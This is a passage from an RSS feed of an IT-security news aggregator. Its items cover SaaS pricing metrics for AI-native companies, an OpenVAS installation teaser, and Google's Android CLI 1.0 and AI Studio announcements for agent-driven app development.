schauen sie in die Kamera und absolvieren geführte Kopfbewegungen, beim späteren Login wird das neue Video gegen das gespeicherte Setup verglichen. Damit will der […]</p>
<div><a href="https://www.it-boltwise.de/google-fuehrt-selfie-video-zur-kontowiederherstellung-ein-opt-in-mit-liveness-logik.html">... den vollständigen Artikel <strong>»Google führt Selfie-Video zur Kontowiederherstellung ein – opt-in mit Liveness-Logik«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/google-fuehrt-selfie-video-zur-kontowiederherstellung-ein-opt-in-mit-liveness-logik.html">Google führt Selfie-Video zur Kontowiederherstellung ein – opt-in mit Liveness-Logik</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The new value architecture of the AI-native SaaS era]]></title>
<description><![CDATA[The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.



In brief:




AI is transforming software as a service (SaaS), and the old ways of keeping score no longer apply.



Smart companies are evolving new metrics that provide deep...]]></description>
<link>https://tsecurity.de/de/3694395/it-security-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694395/it-security-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.</p>



<p class="wp-block-paragraph">In brief:</p>



<ul class="wp-block-list">
<li><a href="https://www.cio.com/article/4146669/is-ai-the-end-of-saas-as-we-know-it.html">AI is transforming software as a service (SaaS)</a>, and the old ways of keeping score no longer apply.</li>



<li>Smart companies are evolving new metrics that provide deeper insight into how AI-native software is performing in a new marketplace.</li>



<li>These changes impact everything from pricing to valuations.</li>
</ul>



<p class="wp-block-paragraph">The transformation of the software-as-a-service (SaaS) industry toward AI-native operating companies is rapidly changing the unit of value across the industry.</p>



<p class="wp-block-paragraph">The traditional metric of seats — which measured access — is rapidly giving way to credits designed to measure work performed. This evolution is upending the industry in multiple ways, impacting everything from pricing to enterprise valuations.</p>



<p class="wp-block-paragraph">While many companies still cling to seat-based metrics to measure growth, efficiency and durability, the future is likely to be one in which companies utilize a <a href="https://www.cio.com/article/4184688/it-hurtles-toward-the-great-enterprise-pricing-reset.html">credit-centric metrics framework</a>, with seats and outcomes as the bookends of a spectrum.</p>



<h2 class="wp-block-heading">Why do software companies need new metrics?</h2>



<p class="wp-block-paragraph">Why the rethink, and why now? There are five major forces that are driving this shift:</p>



<ol start="1" class="wp-block-list">
<li><a href="https://www.idc.com/resource-center/blog/is-saas-dead-rethinking-the-future-of-software-in-the-age-of-ai/"><strong>The unit of value is changing</strong></a><strong>.</strong> Seats measured who could access software, and credits measure what the software actually does. But in an AI-native world, agents don’t have seats; they have workloads. Over the past 18 months, every major SaaS platform has moved to some forms of credit or consumption unit.</li>



<li><strong>The cost of goods sold (COGS) is exploding.</strong> AI inference adds real per-unit costs that scale with usage. In an AI-native world, software companies can’t scale to infinite users at near‑zero marginal cost as before.</li>



<li><strong>Buying is moving up the org chart.</strong> AI-native applications shift purchasing to higher-level operators — such as line-of-business leaders or chief operating officers — which expands the market from software budgets to labor budgets. And because AI agents replace services as well as software, the total market opportunity is 3x to 10x larger than traditional SaaS.</li>



<li><strong>Time to value (TTV) is collapsing.</strong> With AI-native tools, customers start seeing meaningful results in weeks rather than quarters. Onboarding and setup are fast, workflows are pre-built, and there’s no need for extensive customer success or professional services — dramatically reducing implementation time and costs.</li>



<li><strong>Retention is bifurcating.</strong> AI forces clarity in a way that traditional SaaS couldn’t. Products that can provide value become even “stickier” and retain customers. Those that don’t churn faster. In an AI-native marketplace, the middle disappears.</li>
</ol>



<h2 class="wp-block-heading">How this shift is impacting pricing</h2>



<p class="wp-block-paragraph"><a href="https://www.ey.com/en_us/insights/strategy/grow-with-trusted-software-portfolio-management">Given how AI-native software is transforming the market</a>, the shift to more variable pricing options is inevitable.</p>



<p class="wp-block-paragraph">Seats won’t go away completely. Subscription pricing based on the number of users is stable and predictable and will continue to work for some customers. Tokens — the use of pass-through pricing for underlying compute — will fit those customers where the AI feature is commoditized or the buyer wants transparency into costs.</p>



<p class="wp-block-paragraph">Credits will likely become the dominant architecture because they provide a simple metric for both customers and providers. The vendor sets the conversation ratio between credits and underlying compute, shielding the customer from inference cost details. Credits are easy to understand and can be packaged into annual contracts for multiple features and products.</p>



<p class="wp-block-paragraph">Finally, the industry will likely see <a href="https://www.gartner.com/en/newsroom/press-releases/2026-07-01-gartner-says-us-dollars-234-billion-in-enterprise-application-software-spend-is-at-risk-from-agentic-artificial-intelligence">some move toward outcome-based pricing</a> for results such as resolved tickets, recovered revenue or qualified leads. This strategy will mostly be limited to verticals where it is easy to prove AI impacted the result.</p>



<p class="wp-block-paragraph">Where a software vendor sits on this spectrum is a signal of differentiation and pricing power. Credits are where most defensible AI-native businesses are landing because they balance customer predictability with vendor margin control.</p>



<h2 class="wp-block-heading">How AI upends classic SaaS metrics</h2>



<p class="wp-block-paragraph">When SaaS was in its infancy, companies settled on key metrics designed to answer a small set of core questions. Are we growing? Are customers using the product? Are we retaining and expanding accounts?</p>



<p class="wp-block-paragraph">But as AI upends software itself, it is also requiring companies to adopt new metrics to track success. These new metrics fall into three primary buckets, rebuilt around the pricing spectrum described earlier and the trend toward credits as the primary frame:</p>



<h3 class="wp-block-heading">Revenue composition</h3>



<ul class="wp-block-list">
<li>Committed credit annual recurring revenue (ARR) vs. burndown ARR: Measuring the credits sold on annual commitment vs. those consumed and replenished. This is the single most important split for valuation. Committed credits behave like subscription and burndown behaves like usage.</li>



<li>Credit utilization rate: The percentage of purchased credits consumed per period. This is a leading indicator of renewal sizing.</li>



<li>Credit burn velocity: How fast is a customer consuming their credits, and is that consumption increasing or decreasing quarter over quarter? This metric predicts expansion or contraction before it shows up in ARR.</li>



<li>Effective price per credit: The real revenue per credit after discounts, overage and rollover, which can detect revenue leakage and help companies set smarter guide rails.</li>
</ul>



<h3 class="wp-block-heading">Margin reality</h3>



<ul class="wp-block-list">
<li>Credit margin: The gross profit the company earns per credit after subtracting inference costs. This is the core economic unit for AI-native, usage-based businesses — the replacement for gross margin per seat used in SaaS.</li>



<li>Inference-adjusted gross margin: By carving out AI inference costs separately in the P&amp;L statement, you can see true AI margins, avoid hiding deterioration inside blended SaaS margins, and clearly distinguish AI economics from legacy SaaS economics.</li>



<li>Compute leverage ratio: This metric measures how efficiently the business converts compute spend into revenue. It shows whether your AI margins are improving as you scale.</li>



<li>AI-adjusted “Rule of 40”: This updated metric recalibrates the traditional growth and profitability benchmark to account for AI’s lower gross margins and variable inference costs, giving a more accurate picture of business health for AI-native companies.</li>
</ul>



<h3 class="wp-block-heading">Behavioral and value signals</h3>



<ul class="wp-block-list">
<li>Time-to-first outcome: Replaces traditional onboarding metrics. Tracks how fast a customer reaches their first measurable result.</li>



<li>Adoption: AI-native adoption is measured by workflow penetration and active agent density, not seat count. As AI replaces human-driven usage, the unit of adoption shifts from people to automated workflows and agents.</li>



<li>Net credit retention (NCR): Credit-volume retention across the customer base, tracked separately from net recurring revenue to avoid price-change impact.</li>
</ul>



<p class="wp-block-paragraph">Along with these new metrics, the industry’s transformation is prompting companies to retire or recalibrate old SaaS measures, including per-seat ARR as a primary key performance indicator (KPI), traditional magic number calibrated to subscription dynamics, unadjusted Rule of 40, customer success metrics tied to human touchpoints, and blended gross margin without AI COGS carve-outs.</p>



<h2 class="wp-block-heading">What does this mean for enterprise value calculations?</h2>



<p class="wp-block-paragraph">As the internal metrics of success change, so do the ways the investment community measures growth and long-term viability.</p>



<p class="wp-block-paragraph">Increasingly, a company’s valuation multiple depends on whether its revenue behaves like committed subscription ARR or volatile usage ARR, and the commit‑to‑burndown ratio is the metric investors use to decide where the company fits.</p>



<p class="wp-block-paragraph">For example, a business with 80% committed credit ARR could trade closer to subscription comps and one with 80% burndown could trade closer to usage comps even though both have the same types of customers. Being able to proactively explain the commit‑to‑burndown mix can help companies avoid undervaluation.</p>



<p class="wp-block-paragraph">In addition, utilization is expected to replace net promoter scores and seat usage as the primary predictor of churn or expansion. Low utilization guarantees downsizing at renewal, so companies must track utilization cohorts the same way SaaS tracks logo retention cohorts today.</p>



<p class="wp-block-paragraph">We’re also seeing an inversion of the operating model, with R&amp;D and COGS moving up the P&amp;L and sales and marketing (S&amp;M) and customer success (CS) moving down or sideways. The net operating leverage profile is structurally different from classical SaaS, and the cost-to-scale curve looks different too.</p>



<p class="wp-block-paragraph">Finally, credit margin engineering is a hidden value-creation lever. The gap between price per credit and cost per credit is set by the software vendor and can be optimized. Most operators have barely started managing this rigorously, and the ones who do will pull away on margin.</p>



<h2 class="wp-block-heading">What this means for leaders, boards and investors</h2>



<p class="wp-block-paragraph">The shift from classic SaaS metrics to new AI‑native measures isn’t cosmetic. It represents the seismic change the industry is experiencing as AI matures and transforms products and organizations.</p>



<p class="wp-block-paragraph">While these metrics — and perhaps others yet to be determined — may evolve over time, there is no doubt they are already changing how AI companies allocate capital, price products, incent sales teams, evaluate performance and communicate with investors.</p>



<p class="wp-block-paragraph">It’s important to remember that SaaS metrics were practical tools for a specific era of software. As that era draws to a close, winning companies will choose new metrics that shape behavior and drive smart decision-making.</p>



<p class="wp-block-paragraph"><em>The views reflected in this article are the views of the author and do not necessarily reflect the views of Ernst &amp; Young LLP or other members of the global EY organization.</em></p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Vulnerability Scanning with OpenVAS 9 part 1: Installation & Setup]]></title>
<description><![CDATA[A couple years ago we did a tutorial on Hacking Tutorials on how to install the popular vulnerability assessment tool OpenVAS on Kali Linux. We’ve covered the installation process on Kali Linux and running a basic scan on the Metasploitable 2 virtual machine to identify vulnerabilities. In this t...]]></description>
<link>https://tsecurity.de/de/3694245/it-security-nachrichten/vulnerability-scanning-with-openvas-9-part-1-installation-setup/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694245/it-security-nachrichten/vulnerability-scanning-with-openvas-9-part-1-installation-setup/</guid>
<pubDate>Sat, 25 Jul 2026 18:52:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A couple years ago we did a tutorial on Hacking Tutorials on how to install the popular vulnerability assessment tool OpenVAS on Kali Linux. We’ve covered the installation process on Kali Linux and running a basic scan on the Metasploitable 2 virtual machine to identify vulnerabilities. In this tutorial I want to cover more details [...]</p>
<p>The post <a href="https://www.hackingtutorials.org/scanning-tutorials/vulnerability-scanning-openvas-9-pt-1/">Vulnerability Scanning with OpenVAS 9 part 1: Installation &amp; Setup</a> appeared first on <a href="https://www.hackingtutorials.org/">Hacking Tutorials</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[I fixed my home office's spotty Wi-Fi with Samsung's free diagnostic tool - and it took just minutes]]></title>
<description><![CDATA[A recent uptick in lag and disconnects led me to reevaluate my home office setup. Here's how I validated my solution.]]></description>
<link>https://tsecurity.de/de/3694168/it-security-nachrichten/i-fixed-my-home-offices-spotty-wi-fi-with-samsungs-free-diagnostic-tool-and-it-took-just-minutes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694168/it-security-nachrichten/i-fixed-my-home-offices-spotty-wi-fi-with-samsungs-free-diagnostic-tool-and-it-took-just-minutes/</guid>
<pubDate>Sat, 25 Jul 2026 18:51:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A recent uptick in lag and disconnects led me to reevaluate my home office setup. Here's how I validated my solution.]]></content:encoded>
</item>
<item>
<title><![CDATA[Librarians are hosting viral ‘Avoiding AI’ workshops for people who are fed up with Big Tech]]></title>
<description><![CDATA[At libraries around the country, "Avoiding AI" workshops have elicited unprecedented demand.]]></description>
<link>https://tsecurity.de/de/3694124/it-nachrichten/librarians-are-hosting-viral-avoiding-ai-workshops-for-people-who-are-fed-up-with-big-tech/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694124/it-nachrichten/librarians-are-hosting-viral-avoiding-ai-workshops-for-people-who-are-fed-up-with-big-tech/</guid>
<pubDate>Sat, 25 Jul 2026 18:02:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[At libraries around the country, "Avoiding AI" workshops have elicited unprecedented demand.]]></content:encoded>
</item>
<item>
<title><![CDATA[Build 2026: Furthering Windows as the trusted platform for development]]></title>
<description><![CDATA[Build is one of our favorite moments each year - a chance to connect with the global developer community and share what we’ve been building.
Over the past year, we have connected with many developers pushing the boundaries of what’s possible on 
The post Build 2026: Furthering Windows as the trus...]]></description>
<link>https://tsecurity.de/de/3693527/windows-tipps/build-2026-furthering-windows-as-the-trusted-platform-for-development/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693527/windows-tipps/build-2026-furthering-windows-as-the-trusted-platform-for-development/</guid>
<pubDate>Sat, 25 Jul 2026 10:17:37 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Build is one of our favorite moments each year - a chance to connect with the global developer community and share what we’ve been building.</p>
<p>Over the past year, we have connected with many developers pushing the boundaries of what’s possible on </p>
<p>The post <a href="https://blogs.windows.com/windowsdeveloper/2026/06/02/build-2026-furthering-windows-as-the-trusted-platform-for-development/">Build 2026: Furthering Windows as the trusted platform for development</a> appeared first on <a href="https://blogs.windows.com/windowsdeveloper">Windows Developer Blog</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Android CLI Now Stable 1.0: Accelerate developing for Android using any agent]]></title>
<description><![CDATA[Posted by Simona Milanovic and Ben Trengrove, Developer Relations Engineers
As Android developers, you have many choices when it comes to the agents, tools, command-line interfaces (CLI), and LLMs you use for app development. Whether you use Gemini in Android Studio,  Antigravity 2.0, Antigravity...]]></description>
<link>https://tsecurity.de/de/3693514/android-tipps/android-cli-now-stable-10-accelerate-developing-for-android-using-any-agent/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693514/android-tipps/android-cli-now-stable-10-accelerate-developing-for-android-using-any-agent/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:49 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVLU7gkfsf4axphzvtOKcqEkI3MLKZqX6Y9jGVReW6Ximz61c8klVVc0_Xs5Fw_aqk5yjl3K-Mit6cyKq0SLOJbUhUZ7R3dZZcwShqn5jYp-DuHY8hNoBWHJkicoIJ9DKRINQt6seAB3s2mcwANFYX9k0scYyCgfIYQrof7ImxOvzEW7BNj0ZPwEGB5FI/s2048/GoogleForDevelopers-AndroidCombo3-StrapiMetacard-2048x1323%20(1).png">





<div><div class="separator"><i>Posted by Simona Milanovic and Ben Trengrove, Developer Relations Engineers</i><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-DNQCYynOZTPwB7Two8HSejPtcinJWir0-t4Wseo9MFHwLNeluQqIbf-9XDJXcSTaHBoX7NJ6oTFRUczPaokekC-oFEFgdZwxngaskLaxyqCGy5-ZbT0QAnmRafTvx3PKPaMo-npHZuwUAi84AW-28rWw6_2BTWHnXoXqbSrX6Kboz0fy5lz9YogDFf0/s4209/GoogleForDevelopers-AndroidCombo3-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-DNQCYynOZTPwB7Two8HSejPtcinJWir0-t4Wseo9MFHwLNeluQqIbf-9XDJXcSTaHBoX7NJ6oTFRUczPaokekC-oFEFgdZwxngaskLaxyqCGy5-ZbT0QAnmRafTvx3PKPaMo-npHZuwUAi84AW-28rWw6_2BTWHnXoXqbSrX6Kboz0fy5lz9YogDFf0/s16000/GoogleForDevelopers-AndroidCombo3-Blogger-4209x1253.png"></a></div></div><div><br></div><div>
As Android developers, you have many choices when it comes to the agents, tools, command-line interfaces (CLI), and LLMs you use for app development. Whether you use Gemini in Android Studio,  Antigravity 2.0, Antigravity CLI, or third-party agents like Anthropic's Claude Code or OpenAI'sCodex, our mission remains the same: to ensure that high-quality Android development is possible everywhere.

  <p><span></span></p>
<p><span></span></p>
<div class="separator">
    <div>
        </div></div>
<p></p>

  <p>At <b>Google I/O ‘26</b>, we shared the latest leaps forward in agentic development, and showcased some of the newest capabilities of <a href="https://developer.android.com/tools/agents/android-cli">Android CLI</a>—now stable at version 1.0 and ready for all Android developers to use. From new skills to enabling agent access to powerful Android Studio capabilities, we’re giving your agents the right tools to build alongside you.</p>

  <div>If you’re already using Android CLI and want to jump into using all the new features, just run <span><code>android update<code></code></code></span>. Otherwise, read further to learn more about how we’re making the agents you choose be better at building for Android.</div>

  <h3>Android development unlocked for Antigravity</h3>
  <p><a href="https://antigravity.google/">Google Antigravity</a> now includes an optional bundle of Android resources—including the Android CLI and skills—that you can install. You can either install the bundle during onboarding after installation, or later from the <b>Settings &gt; Customizations &gt; Build With Google Plugins</b> menu.</p><p>This provides Antigravity with all the powerful tools and knowledge of Android CLI, enabling it to perform the core tasks necessary for Android app development more easily and efficiently—from creating projects to deploying your app on a new Android virtual device.</p><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivI2fhgZRJRpz8TXcX4OC2CALzgOfHhKyVmVG0IaMsibqaAUVbZORx-5fbVrYUKlp0Fl1qk1wZ02jbrYSfFGRCtOvnOzWWYdw8G3or9ul_QY2yvT6Wm-kEIjAJtfj75kNWlSswAqoUCLvSefnFY3JMw7NQOA8hkDn3nc232oyEK1VN5ZM_UHbAEJWolWE/s16000/agy-android-cli%20(1).png"></div><i><div><i>You can now easily install Android CLI for use with Google Antigravity 2.0.</i></div></i><h3>Unlocking Android Studio capabilities for any agent</h3><p>Android CLI provides a lightweight interface for AI Agents to perform tasks and retrieve knowledge about Android development. However, there's benefits to specialization — Android Studio contains over a decade of Android expertise, built to handle even the most complex Android projects. This includes Android Studio's powerful static analysis engine, refactoring tools, dependency management, UI design and rendering libraries, and more. AI Agents can now tap into Android Studio's tools to gain many of these same capabilities.</p><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRp6RfqiD9adFdIQS9Fm_a3p_5X6K5Fjo5rEQhOeOqFpvjlQ-04DHav5atkLF7IZvnpdMaQqG_oBAhmcvCPRtAvsW7AH0Q3VF18y-TBUITLXBglNbR2o99sC-hJgj_D-OhF51rLO_OYi1RXdm6GBfgZqfsTdQa1CY6_g10D2LwLun3S1CjfqOY2pqp02Y/s16000/agy-android-studio%20(1).png"></div><div><i>Your agents can now use Android CLI to access powerful capabilities of Android Studio.</i></div><p>The latest version of Android CLI introduces the new <code>android studio</code> command. This enables the agent of your choice to leverage the deep, contextual capabilities of Android Studio to better understand and perform actions on an open Android project. By running Android Studio alongside your preferred agent with Android CLI, your agent’s tasks can more efficiently navigate the codebase to produce more precise code changes. And, when you use Android CLI to create and iterate on your project, transitioning to Android Studio is much easier, so that you can use the purpose built tools—such as, performance profilers, Compose Previews, and Android Device Streaming—to get that production-grade polish.</p>

  <p>When you have a project open in the latest <a href="https://developer.android.com/studio/preview">preview version</a> of Android Studio Quail, you (or your agent) can run the following command to check whether Android CLI has a connection established with your open project:</p>

<pre><span><p dir="ltr"><span>$ android studio check</span></p><p dir="ltr"><span>pid: </span><span>32942</span></p><p dir="ltr"><span>version: </span><span>Android Studio</span></p><p dir="ltr"><span>Projects:</span></p><span>    </span><span>READY</span><span>     JetSet /Users/adarshf/AndroidStudioProjects/jetset-main</span></span></pre>

  <p>From there, the agents can use the <code>android studio</code> command to access powerful IDE tools to interact with projects more efficiently. Key commands include:</p><p></p><ul><li><b>analyze-file:</b> Analyzes a file for errors and warnings using the editor's built-in inspections.</li><li><b>find-declaration:</b> Finds the exact definition site of a symbol (class, method, variable, field, constant, or Android resource/color) across the project using semantic resolution.</li><li><b>find-usages: </b>Finds all references and declarations of a symbol (class, method, variable, or Android resource) across the entire project using semantic analysis.</li><li><b>render-compose-preview: </b>Renders a Jetpack Compose UI Preview and returns a path to the image and UI hierarchy if successful.</li><li><b>version-lookup:</b> Get the latest information about which versions for specified app dependencies are available in common repositories, such as the Google Maven repository. By providing a programmatic solution, dependency management is less tedious and much less prone to flakiness.</li><li><b>open-file: </b>Opens a file directly in Android Studio. This is useful if the agent wants to direct your attention to view Compose Previews, performance traces, or other specific files in the IDE.</li></ul><p></p><ul>
  </ul>

  <p>For example, agents can now run the following commands to render a Compose preview for a new layout for your Android app, and then open the previews in Android Studio for you to take advantage of seeing multiple Compose Previews side by side and make AI-assisted edits right from the IDE.</p>

<pre><span><p dir="ltr"><span>$ android studio </span><span>find-declaration</span><span> HotelDetailScreen</span></p><p dir="ltr"><span>$ android studio </span><span>analyze-file</span><span> .../JetPacker/feature/detail/src/main/java/com/example/jetset/feature/detail/HotelDetailScreen.kt</span></p><span>$ android studio </span><span>open-file</span><span> feature/detail/src/main/java/com/example/jetset/feature/detail/HotelDetailScreen.kt</span></span></pre>

  <p>To learn more about how to use these commands, run <code>android help</code>. And, to make sure your agents understand how to work with this tool, make sure to update the Android CLI skill by running <code>android init</code>.</p>

  <h3>More ways to get started</h3>
  <p>To make integrating Android CLI into your environments as seamless as possible, we’re making it available in more ways. You can now download and install Android CLI using more package managers: apt-get, winget, and homebrew. For example, you can run the following to install Android CLI using winget:</p>

  <pre>winget install -e --id Google.AndroidCLI</pre>

  <p>We’ve also updated the installation to a user-local directory, by default. You can find the commands for all supported operating systems plus additional download options on the <a href="https://developer.android.com/tools/agents/android-cli/archive">Android CLI page</a>.</p>

  <h3>Support for Journeys</h3>
  <div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip7lO5BVjTIeJXDWyrGOdl4KpPTo8_oEcf0qLFUBRfPgOazlG7C9eLWDLdnNYb68-rlon4uOE4qo62WC_U7SaAOYwLG3Vbr0v_lRsh-iNoPzVMmFbAgKXXN1hz9Qj7rMImyybqHCU34ryMlml2fCquAyfNgp1yWiZu-CsP1Jowx4o0z69_wkNtYR0GQIM/s16000/android-cli-write-journey.png"></div><div><i>Journeys are natural language descriptions of core user experiences.</i></div><div><span><span><br></span></span></div>We are also introducing support for <a href="https://developer.android.com/tools/agents/android-cli/journeys">Journeys</a>. With Journeys tools and skills included with Android CLI, any agent of your choice can now create and run Journeys—which are natural language descriptions of user journeys for your app that are saved directly to your project.</div><div> <div class="separator"><img border="0" data-original-height="576" data-original-width="960" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeAW4kjqfV1t_mAw_iYwgWSczw3q-h3VEOAuDAe12uBel0niX6M2KAoGrs6M2UHhT3t1GvBZs-c3w0R87W6HgCAzHQZOdFjixUHyYCZRzhOgB_RtOkVh0Ph8cDFki0sWI8i5CFNXxGxBHai0uh0RZw5E9kcJUvl8DJtPT3tnkaQm5r8UHuWMstopnTnnI/s16000/android-cli-journey-run.gif"></div><p><i>(sped up) An agent running a Journey it generated for an app.</i></p>Agents can run these journeys using the Android CLI to navigate your app exactly like a user would. This unlocks entirely new ways to test, validate, or collect data across the critical experiences of your app, all driven by natural language and executed by your agent.
  
  <h3>Expanding Android skills</h3>
  <p>To help models better understand and execute specific patterns that follow our best practices, we are continuing to expand our <a href="https://github.com/android/skills">library of Android skills</a>. We’re shipping new skills that make Android development everywhere more capable, efficient, and productive:</p><p></p><ul><li><b>Display Glasses and Jetpack Compose Glimmer for XR: </b>Provides guidelines for developing projected applications for Android Display Glasses using the Jetpack Compose Glimmer UI toolkit.</li><li><b>Migration to CameraX:</b> Helps you migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.</li><li><b>Perfetto SQL:</b> Translates natural language data prompts into Perfetto SQL queries and executes them against a local trace file.</li><li><b>Adaptive UI:</b> Instructions to make or update an app's UI so that it adapts to different Android devices</li><li><b>Testing setup: </b>Creates a basic testing strategy.</li><li><b>Styles:</b> Helps with adoption of the new Jetpack Compose Style API for new components, and supports migration to Styles API. </li><li><b>AppFunctions: </b>Analyzes Android codebases to recommend and implement new AppFunctions, and refines KDoc documentation for Model Context Protocol optimization.</li></ul><p></p><p>You can add these new skills to your workflow directly from the command line. To help your agents understand and use Android CLI right away, you can initialize your environment and install the base android-cli skill by running:</p>
<pre>android init
</pre>
  <p>From there, you can browse and set up your agent workflow by searching for the exact capabilities your agent needs:</p>
<pre>android skills list
</pre>
  <p>Once you've found the right skill, install it to your environment by running:</p>
<pre>android skills add –skill=&lt;skill-name&gt;
</pre>
  
  <h3>Get started today</h3>
  <p>To download the stable 1.0 release of the Android CLI, explore the new tools, and browse the complete documentation, head over to <a href="https://d.android.com/tools/agents">d.android.com/tools/agents</a> today!  Also, make sure you update to the <a href="https://developer.android.com/studio/preview">latest preview version of Android Studio</a> to unlock the latest features that Android CLI offers. We can't wait to see what you build with Android CLI 1.0 and how these new features supercharge your daily workflows. Join our vibrant community on <a href="https://www.linkedin.com/showcase/androiddev/posts/?feedView=all">LinkedIn</a>, <a href="https://medium.com/androiddevelopers">Medium</a>, <a href="https://www.youtube.com/c/AndroidDevelopers/videos">YouTube</a>, or <a href="https://twitter.com/androidstudio">X</a> and  share your feedback.</p><p>Explore this announcement and all Google I/O 2026 updates on <a href="https://io.google/2026/?utm_source=blogpost&amp;utm_medium=pr&amp;utm_campaign=devblogs&amp;utm_content=">io.google.</a></p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build native Android apps in Google AI Studio]]></title>
<description><![CDATA[Posted by Emma-Louise Leavey, Group Product Manager and Mike Taylor-Cai, Product Manager

    Starting today Google AI Studio can build entire Android apps for you in minutes from just a prompt. You don't need to install any software or configure any libraries, which significantly lowers the barr...]]></description>
<link>https://tsecurity.de/de/3693512/android-tipps/build-native-android-apps-in-google-ai-studio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693512/android-tipps/build-native-android-apps-in-google-ai-studio/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:46 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjd6QUmqCnkvDT9M0IoWA6y_752MRk01nHVQOa644yYkgoMGMDk8Dy6ow6X4SqFzzODP-a1kRaNcuF-1ZyR_lk5fTfdbuEMKDvuX4s7LFaGNuMswzvMCFoYeaQ3RLf2OZPYUWN5BsnqRIsmDub85hpYZNGY7AsaHCsHlfkxLqfqm0PozMhkyqK4i6WfgGM/s2048/GoogleForDevelopers-AndroidCombo2-StrapiMetacard-2048x1323.png">


<div><div class="separator"><i>Posted by Emma-Louise Leavey, Group Product Manager and Mike Taylor-Cai, Product Manager</i></div></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVwPsGVUMbwR9wQP6ABNBXOWboTfwBPXTg-WwhpVo-nJsWJkXeFMUdU5lPsXYc6jh4bnFwI03EG8fIYgmwEkU8hUKHNgSfSYpDLzUgEX1kGLGoTXXfzqcIsh6ZVOHLcripkRitSymdVGwC0Hnwm1H6S-LdsKXLdkefuPp5mtBWC5H1ACTICDI_fNqsdoc/s4209/GoogleForDevelopers-AndroidCombo2-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVwPsGVUMbwR9wQP6ABNBXOWboTfwBPXTg-WwhpVo-nJsWJkXeFMUdU5lPsXYc6jh4bnFwI03EG8fIYgmwEkU8hUKHNgSfSYpDLzUgEX1kGLGoTXXfzqcIsh6ZVOHLcripkRitSymdVGwC0Hnwm1H6S-LdsKXLdkefuPp5mtBWC5H1ACTICDI_fNqsdoc/s16000/GoogleForDevelopers-AndroidCombo2-Blogger-4209x1253.png"></a></div><br><div><br></div>

    Starting today <a href="https://ai.dev/apps?features=build_android_app">Google AI Studio</a> can build entire Android apps for you in minutes from just a prompt. You don't need to install any software or configure any libraries, which significantly lowers the barrier to development. Whether you’re a seasoned developer looking to prototype at lightning speed or a creator building your first-ever mobile experience, you can now go from a single prompt to a high-quality, Kotlin-based Android app in AI Studio. You can easily install the app on your device, share it with others for testing, or send it to Android Studio for any further development.</div><div><h2>The power of native Android</h2>While AI has made it easy to generate web-based apps, people want more on their mobile devices. They expect the beautiful and usable modern app design and capabilities that come with native Android user experiences, built with the Kotlin programming language using Jetpack Compose, the official and recommended toolkit for Android development. Native Android apps bring the reliability of offline support, continuous background services, and the deep integration of hardware sensors like GPS, Bluetooth, and NFC. We've brought the technology that enables you to <a href="https://developer.android.com/studio/gemini/create-a-new-project-with-ai">quickly create new projects with Gemini in Android Studio</a> directly into the web-based AI Studio. Now, you get the best of both worlds: the ease of a prompt-based interface paired with the power of the Android SDK, all in your browser, no installation required.<br><h2><span>A seamless, end-to-end 